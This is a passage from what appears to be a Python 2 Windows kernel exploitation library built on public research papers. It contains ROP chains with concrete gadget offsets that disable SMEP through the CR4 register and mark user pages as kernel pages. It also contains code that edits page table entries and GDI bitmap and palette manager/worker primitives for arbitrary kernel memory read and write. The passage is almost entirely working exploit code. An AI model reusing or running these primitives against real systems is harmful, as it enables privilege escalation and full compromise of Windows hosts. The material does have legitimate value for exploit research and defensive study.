based on: https://www.blackhat.com/docs/us-17/wednesday/us-17-Schenk-Taking-Windows-10-Kernel-Exploitation-To-The-Next-Level%E2%80%93Leveraging-Write-What-Where-Vulnerabilities-In-Creators-Update-wp.pdf
@param manager_platte: handle to the manager palette
@param worker_platte: handle to the worker palette
"""
pte_base = leak_pte_base_palette(manager_palette, worker_palette)
pte_address = get_pxe_address_x64(virtual_address, pte_base)
current_pte_value = c_ulonglong()
read_memory_palette(manager_palette, worker_palette, pte_address, byref(current_pte_value), sizeof(current_pte_value))
tobe_pte_value = c_ulonglong(current_pte_value.value & 0x0fffffffffffffff)
write_memory_palette(manager_palette, worker_palette, pte_address, byref(tobe_pte_value), sizeof(tobe_pte_value));
#########################################################################################
#################This section contains SMEP bypass related functions#####################
#########################################################################################
def get_smep_rop1_offsets():
"""
This function returns offsets to support the ROP chain which change the value in CR4
@return: offsets
"""
p = platform.platform()
if p == 'Windows-10-10.0.16299':
pop_rcx_ret = 0x160580
mov_cr4_rcx_ret = 0x41f901
elif p == 'Windows-8.1-6.3.9600':
pop_rcx_ret = 0x20b29
mov_cr4_rcx_ret = 0x8655a
else:
print "[-] Offsets are not currently available for this platform, exiting..."
sys.exit(-1)
return (pop_rcx_ret, mov_cr4_rcx_ret)
def get_smep_rop2_offsets():
"""
This function returns offsets to support the ROP chain which sets a user mode page to be in kernel (supervisory)
@return: offsets
"""
p = platform.platform()
if p == 'Windows-10-10.0.16299':
pop_rcx_ret = 0x23ed #s hal L7f000 59 c3
pop_rax_ret = 0xbb9e #s hal L7f000 58 c3
mov_byte_ptr_rax_cl_ret = 0x9820 #s hal L7f000 88 08
wbinvd_ret = 0x415f0 #s hal L7f000 0f 09 c3
else:
print "[-] Offsets are not currently available for this platform, exiting..."
sys.exit(-1)
return (pop_rcx_ret, pop_rax_ret, mov_byte_ptr_rax_cl_ret, wbinvd_ret)
def disable_smep_cr4_rop(kernel_base, return_address):
"""
This function creates a ROP chain to disable SMEP in the CR4 register
@param kernel_base: base address of the kernel
@param return_address: address to return to after the ROP chain completes
@return: ROP chain
"""
(pop_rcx_ret, mov_cr4_rcx_ret) = get_smep_rop1_offsets()
rop = struct.pack("<Q", kernel_base+pop_rcx_ret) # pop rcx ; ret
rop += struct.pack("<Q", 0x506f8) # (popped into rcx)
rop += struct.pack("<Q", kernel_base+mov_cr4_rcx_ret) # mov cr4, rcx ; ret
if return_address != None:
rop += struct.pack("<Q", return_address) # (return into shellcode)
return rop
def enable_smep_cr4_rop(kernel_base, return_address):
"""
This function creates a ROP chain to enable SMEP in the CR4 register
@param kernel_base: base address of the kernel
@param return_address: address to return to after the ROP chain completes
@return: ROP chain
"""
(pop_rcx_ret, mov_cr4_rcx_ret) = get_smep_rop1_offsets()
rop = struct.pack("<Q", kernel_base+pop_rcx_ret) # pop rcx ; ret
rop += struct.pack("<Q", 0x1506f8) # (popped into rcx)
rop += struct.pack("<Q", kernel_base+mov_cr4_rcx_ret) # mov cr4, rcx ; ret
if return_address != None:
rop += struct.pack("<Q", return_address) # (return into shellcode)
return rop
def set_user_pte_kernel_rop(hal_base, va_pte, return_address):
"""
This function creates a ROP chain to set a user address to be kernel address as described here:
https://www.coresecurity.com/system/files/publications/2016/05/Windows%20SMEP%20bypass%20U%3DS.pdf
@param hal_base: base address of the hal
@param va_pte: the PTE address of the VA, that has to be changed from user space to kernel space
@param return_address: address to return to after the ROP chain completes
@return: ROP chain
"""
(pop_rcx_ret, pop_rax_ret, mov_byte_ptr_rax_cl_ret, wbinvd_ret) = get_smep_rop2_offsets()
rop = struct.pack("<Q", hal_base + pop_rcx_ret) # pop rcx; ret
rop += struct.pack("<Q", 0x63) # DIRTY + ACCESSED + R/W + PRESENT
rop += struct.pack("<Q", hal_base + pop_rax_ret) # pop rax; ret
rop += struct.pack("<Q", va_pte) # PTE address
rop += struct.pack("<Q", hal_base + mov_byte_ptr_rax_cl_ret) # mov byte ptr [rax], cl; ret
rop += struct.pack("<Q", hal_base + wbinvd_ret) # wbinvd; ret
rop += struct.pack("<Q", return_address) # The return address (in user space)
return rop
def stack_pivot_from_kernel_to_user_rop():
"""
This function creates a ROP chain to stack pivot to user space from kernel space
!!!!To be implemented
@return: ROP chain
"""
rop = ''
return rop
#########################################################################################
############This section contains kernel GDI object abusing related functions############
#########################################################################################
def create_bitmap(width, height, cBitsPerPel):
"""
This function will create a bitmap for write-what-where vulnerabilities with GDI abuse
@param width: width of the bitmap
@param height: height of the bitmap
@param cBitsPerPel: bit ber cel
@return: the handle to the BITMAP object
"""
bitmap_handle = HBITMAP()
bitmap_handle = gdi32.CreateBitmap(width, height, 1, cBitsPerPel, None)
if bitmap_handle == None:
print "[-] Error creating bitmap, exiting...."
sys.exit(-1)
print "[+] Bitmap handle: %s" % hex(bitmap_handle)
return bitmap_handle
def create_bitmaps(width, height, cBitsPerPel):
"""
This function will create the worker and manager bitmap for write-what-where vulnerabilities with GDI abuse
@param width: width of the bitmap
@param height: height of the bitmap
@param cBitsPerPel: bit ber cel
"""
print "[*] Creating manager bitmap"
manager_bitmap_handle = create_bitmap(width, height, cBitsPerPel)
print "[*] Creating worker bitmap"
worker_bitmap_handle = create_bitmap(width, height, cBitsPerPel)
return (manager_bitmap_handle, worker_bitmap_handle)
def calculate_bitmap_size_parameters(s):
"""
This function will calculate the parameters to be used for bitmap allocation, if we know what is the size we need to allocate, height=1, cBitsPerPel=8
@param s: size of the bitmap we need
@return: (width, height, cBitsPerPel) tuple
"""
p = platform.platform()
if p == 'Windows-10-10.0.10586':
bmp_offset = 0x258
min_size = 0x370
elif p == 'Windows-10-10.0.14393':
bmp_offset = 0x260
min_size = 0x370
elif p == 'Windows-10-10.0.15063':
bmp_offset = 0x260
min_size = 0x370
elif p == 'Windows-8-6.2.9200-SP0':
bmp_offset = 0x250
min_size = 0x360
elif p == 'Windows-8.1-6.3.9600':
bmp_offset = 0x258
min_size = 0x370
elif p == 'Windows-7-6.1.7601-SP1':
bmp_offset = 0x238
min_size = 0x350
if s < min_size:
print "[-] Too small size, such Bitmap can't be allocated..."
sys.exit(-1)
elif s < 0x1000:
print "[+] Bitmap will be allocated in the Paged session pool"
width = s - bmp_offset - 0x10
else:
print "[+] Bitmap will be allocated in the Paged session pool / large pool"
width = s - bmp_offset
return (width, 1, 8)
def get_gdisharedhandletable():
"""
This function will return the GdiSharedHandleTable address of the current process
"""
process_basic_information = PROCESS_BASIC_INFORMATION()
ntdll.NtQueryInformationProcess(kernel32.GetCurrentProcess(), ProcessBasicInformation, byref(process_basic_information), sizeof(process_basic_information), None)
peb = process_basic_information.PebBaseAddress.contents
return peb.GdiSharedHandleTable
def get_pvscan0_address(bitmap_handle):
"""
Get the pvScan0 address, works up to Windows 10 v1511
@param bitmap_handle: handle to the bitmap
@return: the PVSCAN0 address in the kernel
"""
gdicell64_address = get_gdisharedhandletable() + (bitmap_handle & 0xFFFF) * sizeof(GDICELL64()) #the address is in user space
gdicell64 = cast(gdicell64_address,POINTER(GDICELL64))
pvscan0_address = gdicell64.contents.pKernelAddress + 0x50 #0x18 to SurfObj SURFOBJ64 -> 0x38 into SURFOBJ64 pvScan0 ULONG64
return pvscan0_address
def set_address_bitmap(manager_bitmap, address):
"""
Sets the pvscan0 of the worker to the address we want to read/write later through the manager_bitmap
@param manager_bitmap: handle to the manager bitmap
@param address: the address to be set in worker bitmap's pvscan0 pointer
"""
address = c_ulonglong(address)
gdi32.SetBitmapBits(manager_bitmap, sizeof(address), addressof(address));
def write_memory_bitmap(manager_bitmap, worker_bitmap, dst, src, len):
"""
Writes len number of bytes to the destination memory address from the source memory
@param manager_bitmap: handle to the manager bitmap
@param worker_bitmap: handle to the worker bitmap
@param dst: destination to write to
@param src: the source to copy from
@param len: the amount to write
"""
set_address_bitmap(manager_bitmap, dst)
gdi32.SetBitmapBits(worker_bitmap, len, src)
def read_memory_bitmap(manager_bitmap, worker_bitmap, src, dst, len):
"""
Reads len number of bytes to the destination memory address from the source memory
@param manager_bitmap: handle to the manager bitmap
@param worker_bitmap: handle to the worker bitmap
@param dst: destination to copy to
@param src: the source to read from
@param len: the amount to read
"""
set_address_bitmap(manager_bitmap, src)
gdi32.GetBitmapBits(worker_bitmap, len, dst)
def create_palette_with_size(s):
"""
Creates a palette with the size we want
@param s: size of the palette
@return: handle to the palette
"""
p = platform.platform()
#from Windows v1607 onwards the PALETTE HEADER is smaller with 8 bytes
if p == 'Windows-10-10.0.14393' or p == 'Windows-10-10.0.15063' or p == 'Windows-10-10.0.16299':
palette_entries_offset = 0x88
elif p == 'Windows-10-10.0.10586' or p == 'Windows-8-6.2.9200-SP0' or p == 'Windows-8.1-6.3.9600' or p == 'Windows-7-6.1.7601-SP1':
palette_entries_offset = 0x90
else:
print "[-] This platform is not supported for palettes"
sys.exit(-1)
if s <= palette_entries_offset:
print '[-] Bad plaette size! can\'t allocate palette of size < %s!' % hex(palette_entries_offset)
sys.exit(-1)
pal_cnt = (s - palette_entries_offset) / 4
lPalette = LOGPALETTE()
lPalette.palNumEntries = pal_cnt
lPalette.palVersion = 0x300
palette_handle = HANDLE()
palette_handle = gdi32.CreatePalette(byref(lPalette))
if palette_handle == None:
print '[-] Couldn\'t create palette, exiting...'
sys.exit(-1)
return palette_handle
def set_address_palette(manager_platte_handle, address):
"""
Sets the pFirstColor of the worker to the address we want to read/write later through the manager palette